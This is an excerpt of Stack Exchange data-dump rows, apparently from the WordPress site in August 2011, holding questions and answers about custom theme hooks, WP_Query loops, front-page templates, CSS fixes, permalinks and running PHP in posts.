  <row Id="24617" PostTypeId="2" ParentId="9301" CreationDate="2011-08-01T18:40:58.797" Score="0" ViewCount="" Body="&lt;p&gt;IMHO, the simplest way to achieve this behaviour is by using a plugin to forcibly save and recall your editor input as raw (and not interpret it upon save/publish); there are a few available in the WP plugins directory but most have particular 'quirks' as to their usage or implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had particular problems with embedding YouTube and other video/audio players until I utilised a raw HTML plugin.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2011-08-01T18:40:58.797" />
  <row Id="24618" PostTypeId="1" AcceptedAnswerId="24625" CreationDate="2011-08-01T19:03:40.907" Score="2" ViewCount="59" Body="&lt;p&gt;I'm getting confused trying to implement these custom theme hooks. Trying to wrap my head around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought i understood this. but now after reading code for several hours; it's made it worst.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i modify the argument being passed in the following?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;functions.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_content() {&#xA;   do_action('theme_content'); // Initialize my custom hook&#xA;}&#xA;&#xA;&#xA;function theme_content_alter($arg) {&#xA;   // Do processing&#xA;   if (!$arg) {&#xA;     echo '&amp;lt;h2&amp;gt;default&amp;lt;/h2&amp;gt;';&#xA;   }&#xA;   if ($arg == 'foo')  {&#xA;     echo '&amp;lt;div class=&quot;content&quot;&amp;gt;bar&amp;lt;/div&amp;gt;';&#xA;   }&#xA;&#xA;   echo apply_filters('theme_content','theme_content_alter', $arg);&#xA;} add_action('theme_content', 'theme_content_alter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;theme_content($arg = 'foo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i'm trying to achieve&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to override hooks and handle contextual processing inside a functions or a separate file from a require. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An example:&lt;/strong&gt; on a front page i want theme_content() to have no sidebar but on a subpage it'll contain a sidebar, etc. This could be expressed like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the proper way to do this? I've tried to write it in my theme and haven't been able to figure out why it's not working. My arguments are not being passed in the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i have done&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reviewed several threads on this SE and found them not very helpful for my context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16573/explanation-for-apply-filters-function-and-its-variables&quot;&gt;Explanation for apply_filters function and its variables&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2988/get-template-part-vs-action-hooks-in-themes&quot;&gt;get_template_part vs action hooks in themes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1007/difference-between-filter-and-action-hooks&quot;&gt;Difference Between Filter and Action Hooks?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-08-01T20:21:46.087" LastActivityDate="2011-08-01T21:03:35.460" Title="Custom theme hooks / filters - passing arguments" Tags="&lt;filters&gt;&lt;hooks&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24619" PostTypeId="2" ParentId="24614" CreationDate="2011-08-01T19:06:44.397" Score="1" ViewCount="" Body="&lt;p&gt;There's a codex on this issue here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_a_Static_Front_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been provided all the details of your site from your post. As in what your original site root is from when you installed it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i'm making an assumption that this is a new install.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-08-01T19:06:44.397" />
  <row Id="24621" PostTypeId="1" CreationDate="2011-08-01T19:55:18.650" Score="0" ViewCount="40" Body="&lt;p&gt;I am on wordpress and i am writing php or mysql code in a post but finally when i hit publish it gives an Server Error : 500 , i also trying putting my code under [code] [/code] tags nothing happened but when i remove my codes and hit publish then it's working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea guys Waiting for help&lt;/p&gt;&#xA;" OwnerUserId="7520" LastActivityDate="2011-09-01T02:37:46.390" Title="Writing Mysql and Php code in wordpress Posts" Tags="&lt;wp-settings.php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24622" PostTypeId="2" ParentId="24621" CreationDate="2011-08-01T20:00:25.480" Score="0" ViewCount="" Body="&lt;p&gt;With a stock WordPress install, you cannot insert server side code like PHP directly into a post, only HTML-compatible text. Using the [code][/code] shortcode only outputs what is inside as PRE and CODE elements of HTML, useful for showing code to your readers. In general, it is a bad idea to put code directly into a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank being said, there are several plugins that will give you this capability. See the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/shortcode-exec-php/&quot; rel=&quot;nofollow&quot;&gt;Shortcode Exec PHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/allow-php-in-posts-and-pages/&quot; rel=&quot;nofollow&quot;&gt;Allow PHP in Posts and Pages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-exec-php/&quot; rel=&quot;nofollow&quot;&gt;WP exec PHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-01T20:00:25.480" CommentCount="2" />
  <row Id="24623" PostTypeId="2" ParentId="23692" CreationDate="2011-08-01T20:03:15.337" Score="0" ViewCount="" Body="&lt;p&gt;Ended up just exporting via command line. Neither answers were appropriate for the situation.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-08-01T20:03:15.337" />
  <row Id="24625" PostTypeId="2" ParentId="24618" CreationDate="2011-08-01T20:15:13.783" Score="6" ViewCount="" Body="&lt;p&gt;If you want &lt;code&gt;theme_content&lt;/code&gt; hook to run with arguments that you pass to &lt;code&gt;theme_content()&lt;/code&gt; function you need to write it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_content($args) {&#xA;&#xA;   do_action('theme_content', $args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-01T20:15:13.783" CommentCount="3" />
  <row Id="24626" PostTypeId="1" AcceptedAnswerId="24644" CreationDate="2011-08-01T20:28:21.337" Score="0" ViewCount="65" Body="&lt;p&gt;I currently have a static front page and a /blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have the front page be a grid of hand selected images (similar to a portfolio). I would like to be able to easily switch the images are featured on this page without having to change the raw html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the best way to do this, using custom fields on a page? Or is there a better way to handle managing featured images on a static page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7517" LastActivityDate="2011-08-01T23:30:23.997" Title="Featured Images on Front Page" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;page-template&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24627" PostTypeId="2" ParentId="24618" CreationDate="2011-08-01T21:03:35.460" Score="1" ViewCount="" Body="&lt;p&gt;Very good answer by Rarst.  I've been doing it the &lt;del&gt;hard&lt;/del&gt; wrong way without the &lt;code&gt;$args&lt;/code&gt; in the hook initialization function and called &lt;code&gt;global $post&lt;/code&gt; in the processing function to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wanted to expand on Rarst's answer and mention that instead of echoing the values out you should assign them to the &lt;code&gt;$arg&lt;/code&gt; variable or else the arg &quot;foo&quot; will also get output in the content. You also don't need to put the hook name in &lt;code&gt;apply_filters&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your code updated (this was tested and works)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_content( $arg ) {&#xA;   do_action('theme_content', $arg ); // Initialize my custom hook&#xA;}&#xA;&#xA;&#xA;function theme_content_alter( $arg ) {&#xA;    if( !$arg ) {&#xA;    $arg = '&amp;lt;h2&amp;gt;default&amp;lt;/h2&amp;gt;';&#xA;    } elseif ( $arg == 'foo' ) {&#xA;    $arg = '&amp;lt;div class=&quot;content&quot;&amp;gt;bar&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    echo apply_filters( 'theme_content_alter', $arg );&#xA;&#xA;}&#xA;add_action( 'theme_content', 'theme_content_alter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-01T21:03:35.460" />
  <row Id="24628" PostTypeId="1" CreationDate="2011-08-01T20:23:56.793" Score="1" ViewCount="26" Body="&lt;p&gt;I'm designing a blog with wordpress as my CMS. My client would like one page on the site to have two main content areas, each with a title above and streaming posts from different categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I haven't seen any examples of this anywhere on the web. Is this possible to do? If so, whats the best approach?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-01T21:03:42.953" Title="Side by side blogging?" Tags="&lt;customization&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="24629" PostTypeId="2" ParentId="24628" CreationDate="2011-08-01T20:32:16.083" Score="0" ViewCount="" Body="&lt;p&gt;This is where you want to be looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used this method before on my site to display 1 category at the top for featured posts and then another to display the main loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $featured = new WP_Query('category_name=Featured&amp;amp;showposts=1');&#xA;    while ($featured-&amp;gt;have_posts()) : $featured-&amp;gt;the_post();&#xA;    $do_not_duplicate = $post-&amp;gt;ID; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I selected my category and for this example I only wanted to display one post. Hope this helps.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-01T20:32:16.083" />
  <row Id="24630" PostTypeId="2" ParentId="24628" CreationDate="2011-08-01T20:33:06.920" Score="1" ViewCount="" Body="&lt;p&gt;See If this helps. Bill Erickson has a great tutorial on how to use multiple content areas in thesis theme. I think you should be able to replicate it with any good WP Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.billerickson.net/wordpress-thesis-multiple-content-areas/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7598" LastActivityDate="2011-08-01T20:33:06.920" />
  <row Id="24632" PostTypeId="2" ParentId="24626" CreationDate="2011-08-01T21:16:19.987" Score="0" ViewCount="" Body="&lt;p&gt;The best bet is to use the front-page.php template and put a custom loop on it and then style the loop how you'd like it to show the content.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-08-01T21:16:19.987" CommentCount="1" />
  <row Id="24633" PostTypeId="1" AcceptedAnswerId="24635" CreationDate="2011-08-01T21:22:20.993" Score="0" ViewCount="64" Body="&lt;p&gt;Is it possible to include an entire flat-file HTML site (.html, folders/ and CSS) inside WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I want to host an HTML site, but have access to WP functions and plugins. Not to interested in a iframe solution as that would break the look of the URLs on the browser address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I include the html site in WP? Or perhaps include WP in the HTML (with some PHP .htaccess extension magic)?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-08-01T22:10:15.987" Title="Is it possible to include an HTML flat-file website inside a WordPress theme?" Tags="&lt;theme-development&gt;&lt;html&gt;&lt;include&gt;" AnswerCount="2" />
  <row Id="24634" PostTypeId="2" ParentId="21769" CreationDate="2011-08-01T21:25:17.513" Score="3" ViewCount="" Body="&lt;p&gt;Technically to check if theme runs &lt;code&gt;wp_head&lt;/code&gt; and &lt;code&gt;wp_footer&lt;/code&gt; hooks you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;hook into &lt;code&gt;shutdown&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;check that you are in front end &lt;/li&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/did_action&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;did_action()&lt;/code&gt;&lt;/a&gt; to determine if hooks fired&lt;/li&gt;&#xA;&lt;li&gt;save the result (in option for example) with theme name to access and use later&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However in practice I agree with Chip Bennet that these hooks are essential. Trying to code for case when they are not there is simply not practical (same like trying to code for ancient WP version and such).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-01T21:25:17.513" />
  <row Id="24635" PostTypeId="2" ParentId="24633" CreationDate="2011-08-01T21:29:19.757" Score="2" ViewCount="" Body="&lt;p&gt;First you need site to be processed as PHP, since WP simply won't work otherwise. I think you can do it for non-.php extensions by tinkering with server config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THen see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with Your Website&lt;/a&gt; in Codex. You can load WP core to required degree and use the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'd consider just migrating site to WP completely.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-01T21:29:19.757" CommentCount="3" />
  <row Id="24636" PostTypeId="2" ParentId="7708" CreationDate="2011-08-01T21:57:57.610" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.nsp-code.com/premium-plugins/wordpress-plugins/advanced-taxonomy-terms-order/&quot; rel=&quot;nofollow&quot;&gt;Advanced Taxonomy Terms Order&lt;/a&gt; it's a great plugin for terms order&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-08-01T21:57:57.610" />
  <row Id="24637" PostTypeId="2" ParentId="24593" CreationDate="2011-08-01T22:06:06.750" Score="0" ViewCount="" Body="&lt;p&gt;I think I got it on my own. The code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo add_query_arg( 'order_by', 'rate_private' ); ?&amp;gt;&quot;&amp;gt;Sort by private&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo add_query_arg( 'order_by', 'rate_company' ); ?&amp;gt;&quot;&amp;gt;Sort by company&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I used another plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-query-fields/&quot; rel=&quot;nofollow&quot;&gt;Custom Query Fields&lt;/a&gt;, which has &quot;order_by&quot; query var made available.&lt;/p&gt;&#xA;" OwnerUserId="7408" LastActivityDate="2011-08-01T22:06:06.750" CommentCount="1" />
  <row Id="24638" PostTypeId="2" ParentId="24633" CreationDate="2011-08-01T22:10:15.987" Score="2" ViewCount="" Body="&lt;p&gt;If I had a site where I wanted to do this I'd convert the layout to a wordpress theme, and then import the pages -- playing with the URL format so that they'd correspond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a basic theme from existing HTML is pretty easy - see this tutorial for instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.codeislove.net/2011/03/converting-html-layout-into-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.codeislove.net/2011/03/converting-html-layout-into-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.codeislove.net/2011/06/tutorial-converting-html-layout-into.html&quot; rel=&quot;nofollow&quot;&gt;http://www.codeislove.net/2011/06/tutorial-converting-html-layout-into.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can leave out stuff you're not planning to support - for instance, you might not need the comments, gravatar, sidebars or posts if all you need is full-width pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't replicate your URL structure perfectly with the normal WP custom permalinks options, consider redirecting with a plugin, like this one: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-title-url/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-title-url/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I found this in the plugin directory, and haven't tried it or reviewed it closely.  Evaluate carefully before using. )  A better option, if you can, would be to 301 redirect the old URLs to the corresponding compatible URL.  You can use your .htaccess file, or a WP redirection plugin.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-01T22:10:15.987" />
  <row Id="24639" PostTypeId="1" AcceptedAnswerId="24658" CreationDate="2011-08-01T22:37:11.610" Score="1" ViewCount="38" Body="&lt;p&gt;I often need to link to custom taxonomy term archive pages and would love to be able to do so through the AJAX internal link navigator added to the visual editor in 3.1.  Is there any way to get this functionality, with either with a plugin or non-colossal changes to the core?&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-02T06:43:52.707" Title="Getting archive pages in WP's AJAX internal link finder?" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;links&gt;&lt;editor&gt;" AnswerCount="2" />
  <row Id="24640" PostTypeId="1" CreationDate="2011-08-01T22:56:01.757" Score="0" ViewCount="37" Body="&lt;p&gt;I have the following setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;post types&lt;/strong&gt;&lt;br&gt;&#xA;fashion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Global Taxonomies (linked to all post types)&lt;/strong&gt;&lt;br&gt;&#xA;issue_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Singular Taxonomies (just linked to fashion post type)&lt;/strong&gt;&lt;br&gt;&#xA;men&lt;br&gt;&#xA;women&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my permalink structure to be:&lt;br&gt;&#xA;/%issue_name%/%posttype%/%postname%&lt;br&gt;&#xA;which would output:&lt;br&gt;&#xA;myissue/fashion/men/mypostname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried Taxonomic SEO Permalink plugin which works well for Taxonomy based permalinks, but my permalink has taxonomy AND posttype &amp;amp; postname..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou for helping!!&lt;/p&gt;&#xA;" OwnerUserId="7522" LastActivityDate="2011-09-05T15:43:09.773" Title="Mixing custom post type and taxonomy rewrite structures?" Tags="&lt;multi-taxonomy-query&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="24641" PostTypeId="2" ParentId="24118" CreationDate="2011-08-01T23:12:59.550" Score="4" ViewCount="" Body="&lt;p&gt;If you wrote your code correctly, then delete_option would be the correct way. The question isn't how to clear the option; the question is how to structure your code such that the &quot;option does not exist&quot; case is a valid case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about it. The first time you start this code, that option isn't going to exist at all, right? Your code should be perfectly capable of handling that case, since it's the first thing the user is ever going to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_option() accepts a default value if the option does not exist. So use that. If you had an empty array for the default, for example, you'd have code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = get_option('whatever',array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using the settings API, then you should use the &lt;code&gt;isset&lt;/code&gt; function in if statements to account for the missing-field case. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!isset($options['name'])) {&#xA;//... the option isn't set to something &#xA;} else {&#xA;//... the option is set to something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And handle each case of actual &lt;em&gt;use&lt;/em&gt; of the option accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-03T16:05:59.723" LastActivityDate="2011-08-03T16:05:59.723" CommentCount="5" />
  <row Id="24642" PostTypeId="2" ParentId="24551" CreationDate="2011-08-01T23:17:14.607" Score="0" ViewCount="" Body="&lt;p&gt;Solved using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'category_link','append_parameter', 10, 2 );&#xA;&#xA;function append_parameter( $link, $my_parameter ) {&#xA;$my_parameter = $_GET['sort']; //get sort value       &#xA;if ( isset($my_parameter) ) { &#xA;    $link = add_query_arg( 'sort', $my_parameter, $link );&#xA;}&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2011-08-01T23:17:14.607" />
  <row Id="24643" PostTypeId="2" ParentId="22302" CreationDate="2011-08-01T23:23:35.820" Score="1" ViewCount="" Body="&lt;p&gt;Related: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5568/filter-to-remove-image-dimension-attributes&quot;&gt;Filter to remove image dimension attributes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a filter on &lt;code&gt;post_thumbnail_html&lt;/code&gt; which receives as its argument the full html element representing the post thumbnail image before it's echoed to the page. You can filter out the dimensions with a bit of regex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_thumbnail_html', 'remove_thumbnail_dimensions', 10, 3 );&#xA;&#xA;function remove_thumbnail_dimensions( $html, $post_id, $post_image_id ) {&#xA;    $html = preg_replace( '/(width|height)=\&quot;\d*\&quot;\s/', &quot;&quot;, $html );&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-01T23:23:35.820" CommentCount="1" />
  <row Id="24644" PostTypeId="2" ParentId="24626" CreationDate="2011-08-01T23:30:23.997" Score="0" ViewCount="" Body="&lt;p&gt;Two categories should do the trick. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Featured posts - This category should be applied to posts that you want to show on your home page, with that images grid. You can limit the number of posts (so only the, for example, 6 newest ones would appear) and select the featured image for them on each post's properties. You can &lt;a href=&quot;http://wordpress.org/support/topic/limit-number-of-posts-on-home-page-to-one-the-latest&quot; rel=&quot;nofollow&quot;&gt;limit number of posts&lt;/a&gt; easily, and you can also &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Exclude_Categories_From_Your_Home_Page&quot; rel=&quot;nofollow&quot;&gt;exclude other categories&lt;/a&gt; from your home page.&lt;/li&gt;&#xA;&lt;li&gt;Blog posts - a general category with a name such as 'blog' would include every other post you've got on your website. This category would have a visible link on your home page, and would be accesible through www.yousite.com/blog/&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think this would be my way to go.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-01T23:30:23.997" />
  <row Id="24645" PostTypeId="2" ParentId="24599" CreationDate="2011-08-01T23:43:48.667" Score="0" ViewCount="" Body="&lt;p&gt;You probably would have to use a script which would have to be referenced in your crontab. The problem is to calculate the final value of the popularity for each post, but if you apply the funcion the right way in the PHP script, the UPDATE operation on your MySQL database should work nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you've got a discussion on &lt;a href=&quot;http://www.daniweb.com/web-development/php/threads/94707&quot; rel=&quot;nofollow&quot;&gt;how to apply&lt;/a&gt; that kind of operation (though the final values are easier to get) and there was a good &lt;a href=&quot;http://stackoverflow.com/questions/5685733/mysql-update-values&quot;&gt;discussion on this subject&lt;/a&gt; on StackOverflow sometime ago.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-01T23:43:48.667" />
  <row Id="24646" PostTypeId="1" AcceptedAnswerId="24649" CreationDate="2011-08-02T00:00:23.077" Score="0" ViewCount="21" Body="&lt;p&gt;I've just begun setting up the overstand theme to work with my blog, but I've run into a problem. Check out my site: &lt;a href=&quot;http://beachief.com/&quot; rel=&quot;nofollow&quot;&gt;http://beachief.com/&lt;/a&gt;, the problem is pretty obvious. Those two black categories have been like that since I first installed the theme - I have done nothing to change them. I'd like those two areas to stretch out across the entire page. They are both set to use the &quot;latest2&quot; class which is coded to be 465px, but neither are responding to it. What's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the files for the overstand theme here:http://forums.digitalpoint.com/showthread.php?t=2212542&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7523" LastActivityDate="2011-08-02T00:16:04.437" Title="Overstand theme set up issue" Tags="&lt;customization&gt;" AnswerCount="2" />
  <row Id="24647" PostTypeId="2" ParentId="24639" CreationDate="2011-08-02T00:10:12.153" Score="1" ViewCount="" Body="&lt;p&gt;Here is the Wordpress Trac Ticket associated with this &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11420&quot; rel=&quot;nofollow&quot;&gt;functionality&lt;/a&gt;. And here is how to get the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_taxonomies&quot; rel=&quot;nofollow&quot;&gt;list of taxonomies&lt;/a&gt;. The code for the internal linking is in /wp-admin/includes/internal-linking.php. This is the code you would have to modify via a plugin (I'm not quite sure what hook you can use).&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-02T00:10:12.153" />
  <row Id="24648" PostTypeId="2" ParentId="24646" CreationDate="2011-08-02T00:14:24.707" Score="1" ViewCount="" Body="&lt;p&gt;In your style.css, on line ~ 878, modify the &quot;width&quot; line so that the block reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.latestoneandhalf {&#xA;    float: left;&#xA;    padding-right: 15px;&#xA;    width: 465px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-02T00:14:24.707" />
  <row Id="24649" PostTypeId="2" ParentId="24646" CreationDate="2011-08-02T00:16:04.437" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;You should replace this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.latestoneandhalf {&#xA;    float:left;&#xA;    padding-right:15px;&#xA;    width:225px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.latestoneandhalf {&#xA;    float:left;&#xA;    padding-right:15px;&#xA;    width:100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-02T00:16:04.437" CommentCount="1" />
  <row Id="24650" PostTypeId="1" CreationDate="2011-08-02T00:31:47.657" Score="2" ViewCount="24" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24639/getting-archive-pages-in-wps-ajax-internal-link-finder&quot;&gt;Getting archive pages in WP&amp;#39;s AJAX internal link finder?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Are there any hooks for the new &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11420&quot; rel=&quot;nofollow&quot;&gt;internal links box&lt;/a&gt; that was created in &lt;a href=&quot;http://codex.wordpress.org/Version_3.1&quot; rel=&quot;nofollow&quot;&gt;WP 3.1&lt;/a&gt;? I'm trying to modify it in my plugin.&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2011-08-02T07:00:58.427" ClosedDate="2011-08-02T09:03:41.573" Title="Hooks for Links Box" Tags="&lt;hooks&gt;&lt;links&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" />
